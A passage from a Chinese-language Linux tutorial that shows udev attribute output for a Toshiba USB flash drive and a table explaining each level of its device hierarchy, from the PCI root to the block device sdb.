ATTRS{evt_inquiry_change_reported}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{evt_lun_change_reported}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{evt_media_change}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{evt_mode_parameter_change_reported}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{evt_soft_threshold_reached}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{inquiry}==&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{iocounterbits}==&#34;32&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{iodone_cnt}==&#34;0x8a9&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{ioerr_cnt}==&#34;0x1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{iorequest_cnt}==&#34;0x8a9&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{iotmo_cnt}==&#34;0x0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{max_sectors}==&#34;2048&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{model}==&#34;TransMemory-Ex  &#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/async}==&#34;enabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/autosuspend_delay_ms}==&#34;-1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/control}==&#34;on&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_active_kids}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_active_time}==&#34;290776&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_enabled}==&#34;forbidden&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_status}==&#34;active&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_suspended_time}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_usage}==&#34;2&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{queue_depth}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{queue_type}==&#34;none&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{rescan}==&#34;(not readable)&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{rev}==&#34;PMAP&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{scsi_level}==&#34;5&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{state}==&#34;running&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{timeout}==&#34;30&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{type}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{vendor}==&#34;TOSHIBA &#34;</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">  looking at parent device &#39;/devices/pci0000:00/0000:00:1d.6/usb4/4-1/4-1:1.0/host8/target8:0:0&#39;:</span><span leaf=""><br/></span><span leaf="">    KERNELS==&#34;target8:0:0&#34;</span><span leaf=""><br/></span><span leaf="">    SUBSYSTEMS==&#34;scsi&#34;</span><span leaf=""><br/></span><span leaf="">    DRIVERS==&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/async}==&#34;enabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/control}==&#34;auto&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_active_kids}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_active_time}==&#34;290776&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_enabled}==&#34;enabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_status}==&#34;active&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_suspended_time}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_usage}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">  looking at parent device &#39;/devices/pci0000:00/0000:00:1d.6/usb4/4-1/4-1:1.0/host8&#39;:</span><span leaf=""><br/></span><span leaf="">    KERNELS==&#34;host8&#34;</span><span leaf=""><br/></span><span leaf="">    SUBSYSTEMS==&#34;scsi&#34;</span><span leaf=""><br/></span><span leaf="">    DRIVERS==&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/async}==&#34;enabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/control}==&#34;auto&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_active_kids}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_active_time}==&#34;290777&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_enabled}==&#34;enabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_status}==&#34;active&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_suspended_time}==&#34;1243&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_usage}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">  looking at parent device &#39;/devices/pci0000:00/0000:00:1d.6/usb4/4-1/4-1:1.0&#39;:</span><span leaf=""><br/></span><span leaf="">    KERNELS==&#34;4-1:1.0&#34;</span><span leaf=""><br/></span><span leaf="">    SUBSYSTEMS==&#34;usb&#34;</span><span leaf=""><br/></span><span leaf="">    DRIVERS==&#34;usb-storage&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{authorized}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bAlternateSetting}==&#34; 0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bInterfaceClass}==&#34;08&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bInterfaceNumber}==&#34;00&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bInterfaceProtocol}==&#34;50&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bInterfaceSubClass}==&#34;06&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bNumEndpoints}==&#34;02&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/async}==&#34;enabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_active_kids}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_enabled}==&#34;enabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_status}==&#34;active&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_usage}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{supports_autosuspend}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">  looking at parent device &#39;/devices/pci0000:00/0000:00:1d.6/usb4/4-1&#39;:</span><span leaf=""><br/></span><span leaf="">    KERNELS==&#34;4-1&#34;</span><span leaf=""><br/></span><span leaf="">    SUBSYSTEMS==&#34;usb&#34;</span><span leaf=""><br/></span><span leaf="">    DRIVERS==&#34;usb&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{authorized}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{avoid_reset_quirk}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bConfigurationValue}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bDeviceClass}==&#34;00&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bDeviceProtocol}==&#34;00&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bDeviceSubClass}==&#34;00&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bMaxPacketSize0}==&#34;9&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bMaxPower}==&#34;896mA&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bNumConfigurations}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bNumInterfaces}==&#34; 1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bcdDevice}==&#34;0110&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bmAttributes}==&#34;80&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{busnum}==&#34;4&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{configuration}==&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{devnum}==&#34;2&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{devpath}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{idProduct}==&#34;6545&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{idVendor}==&#34;0930&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{ltm_capable}==&#34;no&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{manufacturer}==&#34;TOSHIBA&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{maxchild}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/active_duration}==&#34;292163&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/async}==&#34;enabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/autosuspend}==&#34;2&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/autosuspend_delay_ms}==&#34;2000&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/connected_duration}==&#34;292163&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/control}==&#34;on&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/level}==&#34;on&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/persist}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_active_kids}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_active_time}==&#34;292036&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_enabled}==&#34;forbidden&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_status}==&#34;active&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_suspended_time}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_usage}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{product}==&#34;TransMemory-Ex&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{quirks}==&#34;0x0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{removable}==&#34;unknown&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{remove}==&#34;(not readable)&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{rx_lanes}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{serial}==&#34;60A44CB46484ED904352370C&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{speed}==&#34;5000&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{tx_lanes}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{urbnum}==&#34;6492&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{version}==&#34; 3.00&#34;</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">  looking at parent device &#39;/devices/pci0000:00/0000:00:1d.6/usb4&#39;:</span><span leaf=""><br/></span><span leaf="">    KERNELS==&#34;usb4&#34;</span><span leaf=""><br/></span><span leaf="">    SUBSYSTEMS==&#34;usb&#34;</span><span leaf=""><br/></span><span leaf="">    DRIVERS==&#34;usb&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{authorized}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{authorized_default}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{avoid_reset_quirk}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bConfigurationValue}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bDeviceClass}==&#34;09&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bDeviceProtocol}==&#34;03&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bDeviceSubClass}==&#34;00&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bMaxPacketSize0}==&#34;9&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bMaxPower}==&#34;0mA&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bNumConfigurations}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bNumInterfaces}==&#34; 1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bcdDevice}==&#34;0611&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{bmAttributes}==&#34;e0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{busnum}==&#34;4&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{configuration}==&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{devnum}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{devpath}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{idProduct}==&#34;0003&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{idVendor}==&#34;1d6b&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{interface_authorized_default}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{ltm_capable}==&#34;no&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{manufacturer}==&#34;Linux 6.11.0-17-generic xhci-hcd&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{maxchild}==&#34;12&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/active_duration}==&#34;292731&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/async}==&#34;enabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/autosuspend}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/autosuspend_delay_ms}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/connected_duration}==&#34;361398&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/control}==&#34;auto&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/level}==&#34;auto&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_active_kids}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_active_time}==&#34;292830&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_enabled}==&#34;enabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_status}==&#34;active&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_suspended_time}==&#34;68566&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_usage}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/wakeup}==&#34;disabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/wakeup_abort_count}==&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/wakeup_active}==&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/wakeup_active_count}==&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/wakeup_count}==&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/wakeup_expire_count}==&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/wakeup_last_time_ms}==&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/wakeup_max_time_ms}==&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/wakeup_total_time_ms}==&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{product}==&#34;xHCI Host Controller&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{quirks}==&#34;0x0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{removable}==&#34;unknown&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{remove}==&#34;(not readable)&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{rx_lanes}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{serial}==&#34;0000:00:1d.6&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{speed}==&#34;10000&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{tx_lanes}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{urbnum}==&#34;373&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{version}==&#34; 3.10&#34;</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">  looking at parent device &#39;/devices/pci0000:00/0000:00:1d.6&#39;:</span><span leaf=""><br/></span><span leaf="">    KERNELS==&#34;0000:00:1d.6&#34;</span><span leaf=""><br/></span><span leaf="">    SUBSYSTEMS==&#34;pci&#34;</span><span leaf=""><br/></span><span leaf="">    DRIVERS==&#34;xhci_hcd&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{ari_enabled}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{broken_parity_status}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{class}==&#34;0x0c0330&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{consistent_dma_mask_bits}==&#34;64&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{d3cold_allowed}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{device}==&#34;0x0194&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{dma_mask_bits}==&#34;64&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{driver_override}==&#34;(null)&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{enable}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{irq}==&#34;29&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{local_cpulist}==&#34;0-3&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{local_cpus}==&#34;0000000f&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{msi_bus}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{msi_irqs/29}==&#34;msi&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{numa_node}==&#34;-1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/async}==&#34;enabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/control}==&#34;on&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_active_kids}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_active_time}==&#34;362060&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_enabled}==&#34;forbidden&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_status}==&#34;active&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_suspended_time}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_usage}==&#34;3&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power_state}==&#34;D0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{remove}==&#34;(not readable)&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{rescan}==&#34;(not readable)&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{resource0}==&#34;(not readable)&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{revision}==&#34;0x04&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{subsystem_device}==&#34;0x0400&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{subsystem_vendor}==&#34;0x1ab8&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{vendor}==&#34;0x1033&#34;</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">  looking at parent device &#39;/devices/pci0000:00&#39;:</span><span leaf=""><br/></span><span leaf="">    KERNELS==&#34;pci0000:00&#34;</span><span leaf=""><br/></span><span leaf="">    SUBSYSTEMS==&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    DRIVERS==&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/async}==&#34;enabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/control}==&#34;auto&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_active_kids}==&#34;14&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_active_time}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_enabled}==&#34;disabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_status}==&#34;unsupported&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_suspended_time}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{power/runtime_usage}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{waiting_for_supplier}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">内容非常长，它表示了整个设备系统按照层级的属性关系，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">SUBSYSTEM</span></code><span leaf=""> 表示当前设备的层级，我们的设备是 USB ，所以就是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">SUBSYSTEM=&#34;usb&#34;</span></code></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">当前设备的层级解析</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">层级路径</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">子系统</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">设备角色</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">关键属性示例</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">pci0000:00</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">-</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">PCI 总线根节点</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">无</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">0000:00:1d.6</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">pci</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">USB 主控制器硬件</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">vendor=&#34;0x1033&#34;</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">usb4</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">usb</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">宿主 USB 3.0 控制器</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">product=&#34;xHCI Host Controller&#34;</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">4-1</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">usb</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">物理优盘的 USB 设备控制器</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">idVendor=&#34;0930&#34;</span></code><section><span leaf="">, </span><code><span leaf="">idProduct=&#34;6545&#34;</span></code></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">4-1:1.0</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">usb</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">USB 设备接口（存储协议接口）</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">bInterfaceClass=&#34;08&#34;</span></code><section><span leaf=""> (存储设备)</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">host8</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">scsi</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">虚拟 SCSI 主机（USB 存储驱动模拟）</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">model=&#34;TransMemory-Ex&#34;</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">target8:0:0</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">scsi</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">SCSI 目标设备（虚拟磁盘）</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">vendor=&#34;TOSHIBA&#34;</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">8:0:0:0</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">scsi</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">SCSI 逻辑单元（LUN 0）</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">rev=&#34;PMAP&#34;</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">block/sdb</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">block</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">块设备节点（最终暴露的磁盘）</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">size=&#34;62029824&#34;</span></code><section><span leaf=""> (磁盘容量)</span></section></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">我们找到属于我们设备的属性信息</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019030" data-ratio="0.6481481481481481" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9b0e2b60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJS3mp1rdQvDfsZVnYxBaMgZzrHiaIewRMK4S9ZFwcwbIjxF9cVYxza0A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">获取到父级的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: 